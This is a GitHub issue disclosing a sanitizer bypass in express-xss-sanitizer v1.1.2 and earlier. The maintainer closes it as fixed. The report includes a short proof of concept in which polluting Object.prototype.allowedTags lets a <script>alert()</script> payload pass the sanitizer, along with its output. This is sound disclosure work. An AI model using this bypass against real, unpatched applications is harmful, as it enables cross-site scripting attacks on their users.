New issue

Jump to bottom

XSS bypass by using prototype pollution #4

Closed jayateertha043 opened this issue on Sep 20 · 1 comment

jayateertha043 commented on Sep 20 • edited

Issue: express-xss-sanitizer doesn't sanitize xss payloads properly, when the client is already affected by prototype pollution.

Affected versions: v1.1.2 and earlier

Code -

```
//Refer https://research.securitum.com/prototype-pollution-and-bypassing-client-side-html-sanitizers/ for more information

var expressXssSanitizer = require("express-xss-sanitizer");
var data = "<h1>Hi</h1><script>alert()</script>";
Object.prototype.allowedTags = ['script'];
data = expressXssSanitizer.sanitize(data, {});
console.log(data);
```

Output -

```
"\n\n⚠️ Your `allowedTags` option includes, `script`, which… option\nand ensure you are accounting for this risk.\n\n"
"Hi<script>alert()</script>"
```

For Live POC - https://runkit.com/embed/w306l6zfm7tu
Refer https://research.securitum.com/prototype-pollution-and-bypassing-client-side-html-sanitizers/ for more information.

👍 1

AhmedAdelFahim commented on Sep 20 Owner

> Issue: express-xss-sanitizer doesn't sanitize xss payloads properly, when the client is already affected by prototype pollution.
>
> Code -
>
> ```
> //Refer https://research.securitum.com/prototype-pollution-and-bypassing-client-side-html-sanitizers/ for more information
>
> var expressXssSanitizer = require("express-xss-sanitizer");
> var data = "<h1>Hi</h1><script>alert()</script>";
> Object.prototype.allowedTags = ['script'];
> data = expressXssSanitizer.sanitize(data, {});
> console.log(data);
> ```
>
> Output -
>
> ```
> "\n\n⚠️ Your `allowedTags` option includes, `script`, which… option\nand ensure you are accounting for this risk.\n\n"
> "Hi<script>alert()</script>"
> ```
>
> For Live POC - https://runkit.com/embed/w306l6zfm7tu Refer https://research.securitum.com/prototype-pollution-and-bypassing-client-side-html-sanitizers/ for more information.

solved here: #5

 **AhmedAdelFahim** closed this as completed on Sep 20

Assignees

No one assigned

Labels

None yet

Projects

None yet

Milestone

No milestone

Development

No branches or pull requests

---

2 participants